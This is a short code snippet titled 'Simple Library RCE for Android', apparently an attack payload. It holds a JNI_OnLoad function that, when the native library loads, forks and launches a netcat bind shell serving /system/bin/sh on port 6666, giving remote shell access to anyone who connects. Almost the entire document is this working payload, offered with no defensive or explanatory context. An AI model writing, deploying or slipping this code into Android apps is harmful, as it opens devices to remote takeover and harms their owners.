Simple Library RCE for Android

#include <jni.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {

    if (fork() == 0) {
        system("toybox nc -p 6666 -L /system/bin/sh -l");
    }
    JNIEnv* env;
    if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
        return JNI_ERR;
    }
    return JNI_VERSION_1_6;
}C